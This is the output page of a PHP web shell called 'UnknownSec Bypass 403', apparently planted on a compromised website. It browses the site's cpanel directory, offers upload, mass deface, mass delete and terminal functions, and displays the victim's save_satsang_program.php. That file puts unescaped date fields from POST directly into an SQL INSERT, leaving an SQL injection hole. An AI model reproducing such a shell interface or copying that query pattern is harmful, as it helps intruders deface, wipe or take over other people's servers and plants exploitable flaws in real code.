UnknownSec Bypass
403
:
/
var
/
www
/
santgyaneshwarji
/
cpanel
/ [
drwxr-xr-x
]
Menu
Upload
Mass depes
Mass delete
Terminal
Info server
About
name :
save_satsang_program.php
<?php include "../config.php"; $title=mysqli_real_escape_string($conn, $_POST['title']); $fromdate= $_POST['fromdate']; $todate=$_POST['todate']; $address=mysqli_real_escape_string($conn, $_POST['address']); $date=date("d M, Y"); $data=0; $sqlchk="SELECT * FROM satsangprogramtb WHERE program_name='{$title}'"; $result=mysqli_query($conn, $sqlchk) or die("Query Failed."); if(mysqli_num_rows($result)>0){ $data=0; } else { $sql="INSERT INTO satsangprogramtb(program_name,from_date,to_date,address,added_on) VALUES('{$title}','{$fromdate}','{$todate}','{$address}','{$date}')"; if(mysqli_query($conn, $sql)) { $data=1; } } echo json_encode($data); ?>
Copyright © 2025 - UnknownSec